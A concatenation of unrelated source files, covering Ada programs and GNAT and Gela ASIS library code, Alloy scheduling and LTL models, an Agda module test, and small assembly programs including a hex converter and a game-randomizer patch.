db 0x1B
db '[6;1H'
db 0x00
__str_6:
db 0x0D
db 'f=%f Hz, '
db 0x00
__str_7:
db 'V0=%.3fV, '
db 0x00
__str_8:
db 'V1=%.3fV, '
db 0x00
__str_9:
db 0x0D
db 'phase=%f degrees'
db 0x00
__str_10:
db 0x1B
db '[K'
db 0x00
CSEG
end
|
out/calc.adb | FardaleM/metalang | 22 | 25764 |
with ada.text_io, ada.Integer_text_IO, Ada.Text_IO.Text_Streams, Ada.Strings.Fixed, Interfaces.C;
use ada.text_io, ada.Integer_text_IO, Ada.Strings, Ada.Strings.Fixed, Interfaces.C;
procedure calc is
type stringptr is access all char_array;
procedure PInt(i : in Integer) is
begin
String'Write (Text_Streams.Stream (Current_Output), Trim(Integer'Image(i), Left));
end;
--
--La suite de fibonaci
--
function fibo(a : in Integer; b : in Integer; i : in Integer) return Integer is
tmp : Integer;
out_0 : Integer;
b2 : Integer;
a2 : Integer;
begin
out_0 := 0;
a2 := a;
b2 := b;
for j in integer range 0..i + 1 loop
PInt(j);
out_0 := out_0 + a2;
tmp := b2;
b2 := b2 + a2;
a2 := tmp;
end loop;
return out_0;
end;
begin
PInt(fibo(1, 2, 4));
end;
|
scripts/SMS/models_20210203/sat_38_20_6_3_3_2.als | eskang/alloy-maxsat-benchmark | 0 | 4869 | <filename>scripts/SMS/models_20210203/sat_38_20_6_3_3_2.als
abstract sig Task {
frags: set Frag,
r: Int,
d: Int,
first: Frag,
final: Frag,
deps: set Task
}
sig Completed in Task {}
one sig T0,T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11,T12,T13,T14,T15,T16,T17,T18,T19,T20,T21,T22,T23,T24,T25,T26,T27,T28,T29,T30,T31,T32,T33,T34,T35,T36,T37 extends Task {}
fact {
frags =
T0 -> T0_0 +
T1 -> T1_0 + T1 -> T1_1 + T1 -> T1_2 +
T2 -> T2_0 + T2 -> T2_1 +
T3 -> T3_0 +
T4 -> T4_0 + T4 -> T4_1 + T4 -> T4_2 +
T5 -> T5_0 +
T6 -> T6_0 + T6 -> T6_1 +
T7 -> T7_0 + T7 -> T7_1 +
T8 -> T8_0 +
T9 -> T9_0 + T9 -> T9_1 +
T10 -> T10_0 +
T11 -> T11_0 + T11 -> T11_1 + T11 -> T11_2 +
T12 -> T12_0 + T12 -> T12_1 + T12 -> T12_2 +
T13 -> T13_0 + T13 -> T13_1 +
T14 -> T14_0 + T14 -> T14_1 +
T15 -> T15_0 +
T16 -> T16_0 + T16 -> T16_1 + T16 -> T16_2 +
T17 -> T17_0 +
T18 -> T18_0 +
T19 -> T19_0 +
T20 -> T20_0 +
T21 -> T21_0 + T21 -> T21_1 + T21 -> T21_2 +
T22 -> T22_0 + T22 -> T22_1 +
T23 -> T23_0 + T23 -> T23_1 +
T24 -> T24_0 +
T25 -> T25_0 +
T26 -> T26_0 + T26 -> T26_1 +
T27 -> T27_0 + T27 -> T27_1 +
T28 -> T28_0 +
T29 -> T29_0 + T29 -> T29_1 +
T30 -> T30_0 + T30 -> T30_1 +
T31 -> T31_0 +
T32 -> T32_0 + T32 -> T32_1 +
T33 -> T33_0 +
T34 -> T34_0 + T34 -> T34_1 +
T35 -> T35_0 + T35 -> T35_1 + T35 -> T35_2 +
T36 -> T36_0 +
T37 -> T37_0 + T37 -> T37_1 + T37 -> T37_2
r = T0 -> 2 + T1 -> 11 + T2 -> 16 + T3 -> 11 + T4 -> 16 + T5 -> 19 + T6 -> 1 + T7 -> 12 + T8 -> 6 + T9 -> 9 + T10 -> 16 + T11 -> 7 + T12 -> 8 + T13 -> 19 + T14 -> 4 + T15 -> 19 + T16 -> 3 + T17 -> 9 + T18 -> 11 + T19 -> 18 + T20 -> 0 + T21 -> 14 + T22 -> 1 + T23 -> 1 + T24 -> 20 + T25 -> 12 + T26 -> 10 + T27 -> 13 + T28 -> 17 + T29 -> 8 + T30 -> 4 + T31 -> 18 + T32 -> 14 + T33 -> 10 + T34 -> 3 + T35 -> 6 + T36 -> 8 + T37 -> 20
d = T0 -> 17 + T1 -> 19 + T2 -> 22 + T3 -> 26 + T4 -> 19 + T5 -> 29 + T6 -> 3 + T7 -> 15 + T8 -> 8 + T9 -> 12 + T10 -> 26 + T11 -> 17 + T12 -> 18 + T13 -> 23 + T14 -> 10 + T15 -> 29 + T16 -> 12 + T17 -> 11 + T18 -> 23 + T19 -> 21 + T20 -> 5 + T21 -> 26 + T22 -> 4 + T23 -> 7 + T24 -> 23 + T25 -> 15 + T26 -> 25 + T27 -> 23 + T28 -> 18 + T29 -> 14 + T30 -> 10 + T31 -> 21 + T32 -> 22 + T33 -> 18 + T34 -> 13 + T35 -> 12 + T36 -> 10 + T37 -> 35
first = T0 -> T0_0 + T1 -> T1_0 + T2 -> T2_0 + T3 -> T3_0 + T4 -> T4_0 + T5 -> T5_0 + T6 -> T6_0 + T7 -> T7_0 + T8 -> T8_0 + T9 -> T9_0 + T10 -> T10_0 + T11 -> T11_0 + T12 -> T12_0 + T13 -> T13_0 + T14 -> T14_0 + T15 -> T15_0 + T16 -> T16_0 + T17 -> T17_0 + T18 -> T18_0 + T19 -> T19_0 + T20 -> T20_0 + T21 -> T21_0 + T22 -> T22_0 + T23 -> T23_0 + T24 -> T24_0 + T25 -> T25_0 + T26 -> T26_0 + T27 -> T27_0 + T28 -> T28_0 + T29 -> T29_0 + T30 -> T30_0 + T31 -> T31_0 + T32 -> T32_0 + T33 -> T33_0 + T34 -> T34_0 + T35 -> T35_0 + T36 -> T36_0 + T37 -> T37_0
final = T0 -> T0_0 + T1 -> T1_2 + T2 -> T2_1 + T3 -> T3_0 + T4 -> T4_2 + T5 -> T5_0 + T6 -> T6_1 + T7 -> T7_1 + T8 -> T8_0 + T9 -> T9_1 + T10 -> T10_0 + T11 -> T11_2 + T12 -> T12_2 + T13 -> T13_1 + T14 -> T14_1 + T15 -> T15_0 + T16 -> T16_2 + T17 -> T17_0 + T18 -> T18_0 + T19 -> T19_0 + T20 -> T20_0 + T21 -> T21_2 + T22 -> T22_1 + T23 -> T23_1 + T24 -> T24_0 + T25 -> T25_0 + T26 -> T26_1 + T27 -> T27_1 + T28 -> T28_0 + T29 -> T29_1 + T30 -> T30_1 + T31 -> T31_0 + T32 -> T32_1 + T33 -> T33_0 + T34 -> T34_1 + T35 -> T35_2 + T36 -> T36_0 + T37 -> T37_2
deps =
T18 -> T34 +
T33 -> T25
}
abstract sig Frag {
s: Int,
c: Int,
prev: lone Frag
} {
s < 35
}
one sig T0_0 extends Frag {}
one sig T1_0,T1_1,T1_2 extends Frag {}
one sig T2_0,T2_1 extends Frag {}
one sig T3_0 extends Frag {}
one sig T4_0,T4_1,T4_2 extends Frag {}
one sig T5_0 extends Frag {}
one sig T6_0,T6_1 extends Frag {}
one sig T7_0,T7_1 extends Frag {}
one sig T8_0 extends Frag {}
one sig T9_0,T9_1 extends Frag {}
one sig T10_0 extends Frag {}
one sig T11_0,T11_1,T11_2 extends Frag {}
one sig T12_0,T12_1,T12_2 extends Frag {}
one sig T13_0,T13_1 extends Frag {}
one sig T14_0,T14_1 extends Frag {}
one sig T15_0 extends Frag {}
one sig T16_0,T16_1,T16_2 extends Frag {}
one sig T17_0 extends Frag {}
one sig T18_0 extends Frag {}
one sig T19_0 extends Frag {}
one sig T20_0 extends Frag {}
one sig T21_0,T21_1,T21_2 extends Frag {}
one sig T22_0,T22_1 extends Frag {}
one sig T23_0,T23_1 extends Frag {}
one sig T24_0 extends Frag {}
one sig T25_0 extends Frag {}
one sig T26_0,T26_1 extends Frag {}
one sig T27_0,T27_1 extends Frag {}
one sig T28_0 extends Frag {}
one sig T29_0,T29_1 extends Frag {}
one sig T30_0,T30_1 extends Frag {}
one sig T31_0 extends Frag {}
one sig T32_0,T32_1 extends Frag {}
one sig T33_0 extends Frag {}
one sig T34_0,T34_1 extends Frag {}
one sig T35_0,T35_1,T35_2 extends Frag {}
one sig T36_0 extends Frag {}
one sig T37_0,T37_1,T37_2 extends Frag {}
fact {
c =
T0_0 -> 5 +
T1_0 -> 1 + T1_1 -> 1 + T1_2 -> 2 +
T2_0 -> 1 + T2_1 -> 1 +
T3_0 -> 5 +
T4_0 -> 1 + T4_1 -> 1 + T4_2 -> 1 +
T5_0 -> 5 +
T6_0 -> 1 + T6_1 -> 1 +
T7_0 -> 1 + T7_1 -> 2 +
T8_0 -> 2 +
T9_0 -> 1 + T9_1 -> 2 +
T10_0 -> 5 +
T11_0 -> 2 + T11_1 -> 1 + T11_2 -> 2 +
T12_0 -> 1 + T12_1 -> 1 + T12_2 -> 3 +
T13_0 -> 1 + T13_1 -> 1 +
T14_0 -> 1 + T14_1 -> 5 +
T15_0 -> 5 +
T16_0 -> 1 + T16_1 -> 1 + T16_2 -> 1 +
T17_0 -> 1 +
T18_0 -> 6 +
T19_0 -> 1 +
T20_0 -> 5 +
T21_0 -> 2 + T21_1 -> 1 + T21_2 -> 1 +
T22_0 -> 1 + T22_1 -> 2 +
T23_0 -> 1 + T23_1 -> 1 +
T24_0 -> 1 +
T25_0 -> 1 +
T26_0 -> 3 + T26_1 -> 2 +
T27_0 -> 2 + T27_1 -> 3 +
T28_0 -> 1 +
T29_0 -> 1 + T29_1 -> 1 +
T30_0 -> 1 + T30_1 -> 1 +
T31_0 -> 1 +
T32_0 -> 2 + T32_1 -> 2 +
T33_0 -> 4 +
T34_0 -> 3 + T34_1 -> 2 +
T35_0 -> 1 + T35_1 -> 3 + T35_2 -> 2 +
T36_0 -> 2 +
T37_0 -> 1 + T37_1 -> 3 + T37_2 -> 1
prev =
T1_1 -> T1_0 + T1_2 -> T1_1 +
T2_1 -> T2_0 +
T4_1 -> T4_0 + T4_2 -> T4_1 +
T6_1 -> T6_0 +
T7_1 -> T7_0 +
T9_1 -> T9_0 +
T11_1 -> T11_0 + T11_2 -> T11_1 +
T12_1 -> T12_0 + T12_2 -> T12_1 +
T13_1 -> T13_0 +
T14_1 -> T14_0 +
T16_1 -> T16_0 + T16_2 -> T16_1 +
T21_1 -> T21_0 + T21_2 -> T21_1 +
T22_1 -> T22_0 +
T23_1 -> T23_0 +
T26_1 -> T26_0 +
T27_1 -> T27_0 +
T29_1 -> T29_0 +
T30_1 -> T30_0 +
T32_1 -> T32_0 +
T34_1 -> T34_0 +
T35_1 -> T35_0 + T35_2 -> T35_1 +
T37_1 -> T37_0 + T37_2 -> T37_1
}
pred StartAfterRelease {
all t: Completed | t.first.s >= t.r
}
pred StartAfterPrevFrag {
all t: Completed, f1, f2: t.frags | f1 -> f2 in prev implies
f1.s >= plus[f2.s, f2.c]
}
pred SingleFrag {
all disj t1, t2: Completed, f1: t1.frags, f2: t2.frags |
f2.s >= plus[f1.s, f1.c] or f1.s >= plus[f2.s, f2.c]
}
pred TaskDep {
all t1: Completed, t2: t1.deps {
t1.first.s >= plus[t2.final.s, t2.final.c]
t2 in Completed
}
}
pred Deadline {
all t: Completed | t.d >= plus[t.final.s, t.final.c]
}
run {
StartAfterRelease
StartAfterPrevFrag
SingleFrag
TaskDep
Deadline
some Completed
} for 7 Int
|
src/prototyping/modules/flat/Test.agda | asr/agda-kanso | 1 | 1535 |
module Test where
data Nat : Set where
zero : Nat
suc : Nat -> Nat
module Q where
module R where
f : Nat -> Nat
f n = suc n
module B (n : Nat) where
open Q.R public
q = f n
module Bz = B zero
postulate
_==_ : {A : Set} -> A -> A -> Set
refl : {A : Set}{x : A} -> x == x
|
asm/item-bought-check-entry.asm | PaddyCo/mw3rando | 0 | 97137 | org $243e
jsr $feeded00
nop
beq.b $2456
|
src/asm_files/hex/sunyat_hex.asm | zedth2/sunyat-c | 0 | 171341 | <reponame>zedth2/sunyat-c<filename>src/asm_files/hex/sunyat_hex.asm
;sunyat_hex.asm------------------------------
;Written by: <NAME>
;
;Prompts users for 8-bit decimal numbers and
;converts them to hex using a bitwise AND for
;the low bits and a synthesized 4-bit Right
;Shift for the highs.
;
;'q' to exit.
;
;--------------------------------------------
.message "'q' to exit"
.constant TERM 0xFF
.constant CR 0xD
.constant LF 0xA
jmp !main
!crlf
.variable crlf0 CR
.variable crlf1 LF
.variable crlf2 0x00
!hex_table
.variable hex0 '0'
.variable hex1 '1'
.variable hex2 '2'
.variable hex3 '3'
.variable hex4 '4'
.variable hex5 '5'
.variable hex6 '6'
.variable hex7 '7'
.variable hex8 '8'
.variable hex9 '9'
.variable hex10 'A'
.variable hex11 'B'
.variable hex12 'C'
.variable hex13 'D'
.variable hex14 'E'
.variable hex15 'F'
!prompt
.variable prompt0 'E'
.variable prompt1 'n'
.variable prompt2 't'
.variable prompt3 'e'
.variable prompt4 'r'
.variable prompt5 ' '
.variable prompt6 'a'
.variable prompt7 ' '
.variable prompt8 'n'
.variable prompt9 'u'
.variable prompt10 'm'
.variable prompt11 'b'
.variable prompt12 'e'
.variable prompt13 'r'
.variable prompt14 ':'
.variable prompt15 0x00
!ox
.variable ox0 '0'
.variable ox1 'x'
.variable ox3 0x00
;main-----------------------------------------------------------------------------------
;Prints the prompt, calls !getNum and !analyze
;Loops
;---------------------------------------------------------------------------------------
!main
mov R0 !prompt
call !print
call !getNum ;returns user entered number into R7
call !analyze
jmp !main
!main_end
ret
;---------------------------------------------------------------------------------------
;getNum---------------------------------------------------------------------------------
;Builds a number out of user-entered characters
;
;---------------------------------------------------------------------------------------
!getNum
push R0
push R1
mul R7 0 ;Make sure R7 is Zero
;getNum_getDigit-------------------------------
;Make sure chars entered are acceptable
;---------------------------------------------
!getNum_getDigit
load R0 TERM
cmp R0 LF
jeq !getNum_end
cmp R0 'q'
jeq !bye
cmp R0 '0'
jls !getNum_getDigit
cmp R0 '9'
jgr !getNum_getDigit
!getNum_getDigit_end
;---------------------------------------------
;getNum_buildNum------------------------------
;Build a number in R7 out of chars entered.
;---------------------------------------------
!getNum_buildNum
stor TERM R0
add R0 -48 ;Character - Integer ascii offset ('48' = 0)
mul R7 10 ;Tack zeros on to running value
add R7 R0 ;Add current char to running value.
;This doesn't work for some reason.-----------------------------------------------
;cmp R7 255 ;If the number they've entered so far is too big, throw an error.
;jgr !err_TooBig
;cmp R7 99 ;If the number they've entered is 3 digits, leave the loop.
;jgr !getNum_end
;---------------------------------------------------------------------------------
jmp !getNum_getDigit ;Otherwise, keep getting digits.
!getNum_buildNum_end
;---------------------------------------------
!getNum_end
pop R1
pop R0
call !print_line
ret
;---------------------------------------------------------------------------------------
;analyze--------------------------------------------------------------------------------
;Convert 8-bit number to hex and print it.
;
;---------------------------------------------------------------------------------------
!analyze
push R3
push R4
mov R2 R7 ;copy R7 into R2
;get the low bits---
and R7 0b0000_1111
;-------------------
;get the high bits----
and R2 0b1111_0000
div R2 16
;---------------------
mov R3 !hex_table
mov R4 !hex_table
add R4 R2 ;high bits
add R3 R7 ;low bits
loadp R7 R3
loadp R2 R4
mov R0 !ox
call !print
stor TERM R2 ;high
stor TERM R7 ;low
!analyze_end
pop R3
pop R4
call !print_line
ret
;---------------------------------------------------------------------------------------
;-!print_line------------------------------------------------------------------------------------
;-Prints a newline (!crlf) when called
;------------------------------------------------------------------------------------------------
!print_line
push R0
mov R0 !crlf
call !print
pop R0
!print_line_end
ret
;------------------------------------------------------------------------------------------------
;-!print-----------------------------------------------------------------------------------------
;-Prints chars individually from a memory location moved into R0
;-Stops when it finds a 0x00
;------------------------------------------------------------------------------------------------
!print
push R0 ;backup R1
push R1 ;backup R0
!while_PP
loadp R1 R0 ;Load character at address R0 into R1. R0 is an array pointer.
cmp R1 0x00
jeq !while_PP_end ;If the character is 0x00 stop printing.
stor TERM R1 ;print character
add R0 1 ;Increment array pointer
jmp !while_PP ;keep printing
!while_PP_end
pop R1 ;return value
pop R0 ;return value
!print_end
ret
;------------------------------------------------------------------------------------------------
;Exit----------
!bye
pop R1
pop R0
pop R3 ;address in !main
mov R0 !goodbye
call !print
jmp !main_end
!goodbye
.variable goodbye0 'B'
.variable goodbye1 'y'
.variable goodbye2 'e'
.variable goodbye3 0x00
;ERRORS------------
!err_TooBig
pop R1
pop R0
pop R3
call !print_line
push R0
mov R0 !tooBig
call !print
call !print_line
pop R0
jmp !main
!tooBig
.variable tooBig0 't'
.variable tooBig1 'o'
.variable tooBig2 'o'
.variable tooBig3 ' '
.variable tooBig4 'b'
.variable tooBig5 'i'
.variable tooBig6 'g' |
llvm-gcc-4.2-2.9/gcc/ada/s-vector.ads | vidkidz/crossbridge | 1 | 18124 | <reponame>vidkidz/crossbridge<gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . V E C T O R S --
-- --
-- S p e c --
-- --
-- Copyright (C) 2002-2005 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package defines a datatype which is most efficient for performing
-- logical operations on large arrays. See System.Generic_Vector_Operations.
-- In the future this package may also define operations such as element-wise
-- addition, subtraction, multiplication, minimum and maximum of vector-sized
-- packed arrays of Unsigned_8, Unsigned_16 and Unsigned_32 values. These
-- operations could be implemented as system intrinsics on platforms with
-- direct processor support for them.
package System.Vectors is
pragma Pure;
type Vector is mod 2**System.Word_Size;
for Vector'Alignment use Integer'Min
(Standard'Maximum_Alignment, System.Word_Size / System.Storage_Unit);
for Vector'Size use System.Word_Size;
end System.Vectors;
|
alloy4fun_models/trashltl/models/14/QRfddRjvofe8RcZpX.als | Kaixi26/org.alloytools.alloy | 0 | 532 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idQRfddRjvofe8RcZpX_prop15 {
always eventually File in Trash
}
pred __repair { idQRfddRjvofe8RcZpX_prop15 }
check __repair { idQRfddRjvofe8RcZpX_prop15 <=> prop15o } |
source/asis/asis-gela-contexts-utils.adb | faelys/gela-asis | 4 | 14797 | <reponame>faelys/gela-asis
------------------------------------------------------------------------------
-- G E L A A S I S --
-- ASIS implementation for Gela project, a portable Ada compiler --
-- http://gela.ada-ru.org --
-- - - - - - - - - - - - - - - - --
-- Read copyright and license at the end of this file --
------------------------------------------------------------------------------
-- $Revision: 209 $ $Date: 2013-11-30 21:03:24 +0200 (Сб., 30 нояб. 2013) $:
with XASIS.Utils;
with Asis.Gela.Debug;
with Asis.Gela.Units;
with Asis.Gela.Pools;
with Asis.Gela.Parser;
with Asis.Gela.Errors;
with Asis.Gela.Library;
with Asis.Gela.Implicit;
with Asis.Gela.Implicit.Limited_View;
with Asis.Gela.Resolver;
with Asis.Gela.Normalizer;
with Asis.Gela.Text_Utils;
with Asis.Gela.Unit_Utils;
with Asis.Gela.Compilations;
with Asis.Gela.Element_Utils;
with Ada.Strings.Wide_Maps;
with Gela.Decoders.Create;
package body Asis.Gela.Contexts.Utils is
procedure Normalize
(The_Context : in out Concrete_Context_Node;
Limited_View : in Boolean);
procedure Read_Parent
(The_Context : in out Concrete_Context_Node;
An_Unit : in Compilation_Unit;
Limited_View : in Boolean);
function Parent_Name (An_Unit : Compilation_Unit) return Wide_String;
procedure Read_Unit_Body
(The_Context : in out Concrete_Context_Node;
Full_Unit_Name : in Wide_String;
Place : in Element;
Result : out Compilation_Unit);
procedure Read_Unit_Declaration
(The_Context : in out Concrete_Context_Node;
Full_Unit_Name : in Wide_String;
Place : in Element;
Limited_View : in Boolean;
Result : out Compilation_Unit);
procedure Read_Declaration
(The_Context : in out Concrete_Context_Node;
An_Unit : in Compilation_Unit);
procedure Read_Withed
(The_Context : in out Concrete_Context_Node;
An_Unit : in Compilation_Unit);
procedure Move_First_Pragmas (The_Context : in out Concrete_Context_Node);
procedure Move_Last_Pragmas (The_Context : in out Concrete_Context_Node);
procedure Split_Compilation
(The_Context : in out Concrete_Context_Node;
Limited_View : in Boolean);
procedure Set_Encoding
(The_Context : in out Concrete_Context_Node;
Encoding_Name : in Wide_String);
------------------------
-- Move_First_Pragmas --
------------------------
procedure Move_First_Pragmas (The_Context : in out Concrete_Context_Node) is
use Primary_Unit_Lists;
use Secondary_Pragma_Lists;
use Asis.Gela.Unit_Utils;
function Find_Unit return Asis.Compilation_Unit is
Next : Asis.Element;
begin
for J in 1 .. Length (The_Context.Compilation.all) loop
Next := Get_Item (The_Context.Compilation, J);
if Next.all in Compilation_Unit_Node'Class then
return Asis.Compilation_Unit (Next);
end if;
end loop;
return Asis.Nil_Compilation_Unit;
end Find_Unit;
Index : Natural;
Next : Asis.Element;
Last_Unit : Asis.Element;
begin
Index := Length (The_Context.Compilation.all);
while Index > 0 loop
Next := Get_Item (The_Context.Compilation, Index);
if Next.all in Compilation_Unit_Node'Class then
Last_Unit := Next;
elsif Element_Kind (Next.all) = A_Pragma then
Remove (The_Context.Compilation.all, Next);
Asis.Gela.Element_Utils.Set_Pragma_Kind (Next);
if Is_Program_Unit_Pragma (Pragma_Kind (Next.all))
and Assigned (Last_Unit)
then
Add_Pragma (Last_Unit, Next);
elsif not Is_Configuration_Pragma (Pragma_Kind (Next.all))
and Assigned (Last_Unit)
then
Add_Pragma (Last_Unit, Next, True);
elsif Is_Configuration_Pragma (Pragma_Kind (Next.all)) then
Make_Configuration_Unit (The_Context);
Add_Pragma
(Asis.Element (The_Context.Configuration_Unit), Next);
elsif Is_Program_Unit_Pragma (Pragma_Kind (Next.all)) then
Element_Utils.Set_Enclosing_Compilation_Unit (Next, Find_Unit);
Errors.Report (Item => Next,
What => Errors.Error_Syntax_Misplaced_Pragma,
Argument1 => Pragma_Name_Image (Next.all));
else
Element_Utils.Set_Enclosing_Compilation_Unit (Next, Find_Unit);
Errors.Report (Item => Next,
What => Errors.Warning_Syntax_Ignored_Pragma,
Argument1 => Pragma_Name_Image (Next.all));
end if;
end if;
Index := Index - 1;
end loop;
end Move_First_Pragmas;
-----------------------
-- Move_Last_Pragmas --
-----------------------
procedure Move_Last_Pragmas (The_Context : in out Concrete_Context_Node) is
use Primary_Unit_Lists;
-------------
-- Is_Spec --
-------------
function Is_Spec (Next : Asis.Element) return Boolean is
Kind : Unit_Kinds := Not_A_Unit;
begin
if Next.all in Compilation_Unit_Node'Class then
Kind := Unit_Kind (Compilation_Unit (Next).all);
end if;
if Kind in A_Subprogram_Declaration
or Kind in A_Generic_Procedure .. A_Generic_Function
or Kind in A_Generic_Unit_Instance
then
return True;
else
return False;
end if;
end Is_Spec;
---------------------
-- Is_Right_Pragma --
---------------------
function Is_Right_Pragma (Next, Spec : Asis.Element) return Boolean is
function Direct_Name (Spec : Asis.Element) return Wide_String is
use Asis.Gela.Units;
Name : constant Wide_String :=
Unit_Full_Name (Any_Compilation_Unit_Node (Spec.all));
begin
return Name;
-- for I in reverse Name'Range loop
-- if Name (I) = '.' then
-- Index := I + 1;
-- exit;
-- end if;
-- end loop;
-- return Name (Index .. Name'Last);
end Direct_Name;
Name : constant Wide_String := Direct_Name (Spec);
Args : constant Asis.Association_List :=
Pragma_Argument_Associations (Next.all);
begin
for I in Args'Range loop
declare
use XASIS.Utils;
Param : constant Asis.Element :=
Actual_Parameter (Args (I).all);
Kind : constant Asis.Expression_Kinds :=
Expression_Kind (Param.all);
begin
if (Kind = An_Identifier or Kind = A_Selected_Component)
and then Are_Equal_Identifiers
(Element_Utils.Compound_Name_Image (Param), Name)
then
return True;
end if;
end;
end loop;
return False;
end Is_Right_Pragma;
Index : Positive := 1;
Found : Boolean := False;
Spec : Asis.Element;
Next : Asis.Element;
begin
while Index <= Length (The_Context.Compilation.all) loop
Next := Get_Item (The_Context.Compilation, Index);
if Is_Spec (Next) then
Spec := Next;
Found := True;
Index := Index + 1;
elsif Element_Kind (Next.all) = A_Pragma then
if Found and then Is_Right_Pragma (Next, Spec) then
Remove (The_Context.Compilation.all, Next);
Unit_Utils.Add_Pragma (Spec, Next);
else
Index := Index + 1;
end if;
else
Found := False;
Index := Index + 1;
end if;
end loop;
end Move_Last_Pragmas;
---------------
-- Normalize --
---------------
procedure Normalize
(The_Context : in out Concrete_Context_Node;
Limited_View : in Boolean) is
begin
Move_Last_Pragmas (The_Context);
Move_First_Pragmas (The_Context);
Split_Compilation (The_Context, Limited_View);
end Normalize;
-----------------
-- Parent_Name --
-----------------
function Parent_Name (An_Unit : Compilation_Unit) return Wide_String is
Full_Name : constant Wide_String := Unit_Full_Name (An_Unit.all);
Kind : constant Unit_Kinds := Unit_Kind (An_Unit.all);
begin
if Kind in A_Subunit then
return Separate_Name_Image (An_Unit.all);
elsif XASIS.Utils.Are_Equal_Identifiers (Full_Name, "Standard") then
return "";
else
for I in reverse Full_Name'Range loop
if Full_Name (I) = '.' then
return Full_Name (1 .. I - 1);
end if;
end loop;
return "Standard";
end if;
end Parent_Name;
----------------------
-- Parse_Parameters --
----------------------
procedure Parse_Parameters (The_Context : in out Concrete_Context_Node) is
use Asis.Gela.Library;
use Ada.Strings.Wide_Maps;
Space : constant Wide_Character_Set := To_Set (' ');
Params : U.Unbounded_Wide_String := The_Context.Parameters;
From : Positive;
To : Natural;
begin
Clear_Search_Path;
U.Find_Token (Params, Space, Ada.Strings.Outside, From, To);
while To > 0 loop
declare
Slice : constant Wide_String := U.Slice (Params, From, To);
Word : constant Wide_String (1 .. Slice'Length) := Slice;
begin
U.Delete (Params, 1, To);
U.Find_Token (Params, Space, Ada.Strings.Outside, From, To);
if Word'Length >= 2 and then Word (1) = '-' then
case Word (2) is
when 'I' =>
Add_To_Search_Path (Word (3 .. Word'Last));
when 'A' =>
pragma Assert (Debug.Set (Word (3 .. Word'Last)));
null;
when 'E' =>
Set_Encoding (The_Context, Word (3 .. Word'Last));
when others =>
null;
end case;
else
The_Context.Current_File := U.To_Unbounded_Wide_String (Word);
end if;
end;
end loop;
end Parse_Parameters;
----------------------
-- Read_Declaration --
----------------------
procedure Read_Declaration
(The_Context : in out Concrete_Context_Node;
An_Unit : in Compilation_Unit)
is
use Asis.Gela.Unit_Utils;
Full_Name : constant Wide_String := Unit_Full_Name (An_Unit.all);
Kind : constant Unit_Kinds := Unit_Kind (An_Unit.all);
Class : constant Unit_Classes := Unit_Class (An_Unit.all);
Place : constant Element := Unit_Declaration (An_Unit.all);
Result : Asis.Compilation_Unit;
begin
if Kind in A_Library_Unit_Body
and Class /= A_Public_Declaration_And_Body
then
Read_Unit_Declaration (The_Context, Full_Name, Place, False, Result);
if Unit_Class (Result.all) /= A_Public_Declaration
and Unit_Class (Result.all) /= A_Private_Declaration
then
Errors.Report (Item => Place,
What => Errors.Error_Cant_Read_Unit_Decl,
Argument1 => Full_Name);
Result := Make_Nonexistent_Unit
(The_Context.This, Full_Name, A_Nonexistent_Declaration);
end if;
Set_Body (Result, An_Unit);
end if;
end Read_Declaration;
------------------------------
-- Read_File_And_Supporters --
------------------------------
procedure Read_File_And_Supporters
(The_Context : in out Concrete_Context_Node;
Limited_View : in Boolean := False)
is
use Primary_Unit_Lists;
State : constant Pools.Pool_State := Pools.State (Pool);
use Asis.Gela.Compilations;
Empty_Unit : Asis.Compilation_Unit;
File : constant Wide_String := Current_File (The_Context);
Encoding : Encodings.Encoding := The_Context.User_Encoding;
Buffer : Text_Utils.Source_Buffer_Access;
Decoder : Text_Utils.Decoder_Access;
Root : Asis.Element;
Implicit : Asis.Compilation_Unit;
New_Version : Compilation;
Old_Version : constant Compilation :=
Get_Compilation (The_Context.Compilation_List, File);
begin
if Library.Is_Predefined_Unit (File) then
Encoding := Encodings.UTF_8;
end if;
Decoder := Decoders.Create (Encoding);
Buffer := Text_Utils.New_Buffer (File);
Lines.Vectors.Clear (The_Context.Line_List);
New_Compilation
(The_Context.Compilation_List, File, Buffer, Decoder, New_Version);
Empty_Unit := New_Compilation_Unit (The_Context'Access);
Parser.Run (The_Context.This,
Buffer.all,
Encoding,
Decoder.all,
The_Context.Line_List,
Root);
Set_Line_List (The_Context.Compilation_List,
New_Version,
The_Context.Line_List);
The_Context.Compilation := List (Root);
declare
Units : constant Compilation_Unit_List :=
To_Compilation_Unit_List (The_Context.Compilation.all);
begin
for I in Units'Range loop
Unit_Utils.Set_Compilation (Units (I), New_Version);
Normalizer.Run (Units (I));
end loop;
Normalize (The_Context, Limited_View);
for I in Units'Range loop
Asis.Gela.Implicit.Process_Unit (Units (I));
if Unit_Kind (Units (I).all) = A_Package then
Implicit := Unit_Utils.Make_Limited_View_Unit
(The_Context.This, Units (I));
Gela.Implicit.Limited_View.Populate
(Implicit, Unit_Declaration (Units (I).all));
Secondary_Unit_Lists.Add
(The_Context.Limited_Views, Asis.Element (Implicit));
Read_Parent (The_Context, Implicit, Limited_View => True);
Resolver.Run (Implicit);
end if;
if not Limited_View then
Read_Parent (The_Context, Units (I), Limited_View);
Read_Declaration (The_Context, Units (I));
Read_Withed (The_Context, Units (I));
Resolver.Run (Units (I));
end if;
end loop;
end;
Drop_Compilation
(The_Context.Compilation_List,
Old_Version);
Pools.Set_State (Pool, State);
end Read_File_And_Supporters;
-----------------
-- Read_Parent --
-----------------
procedure Read_Parent
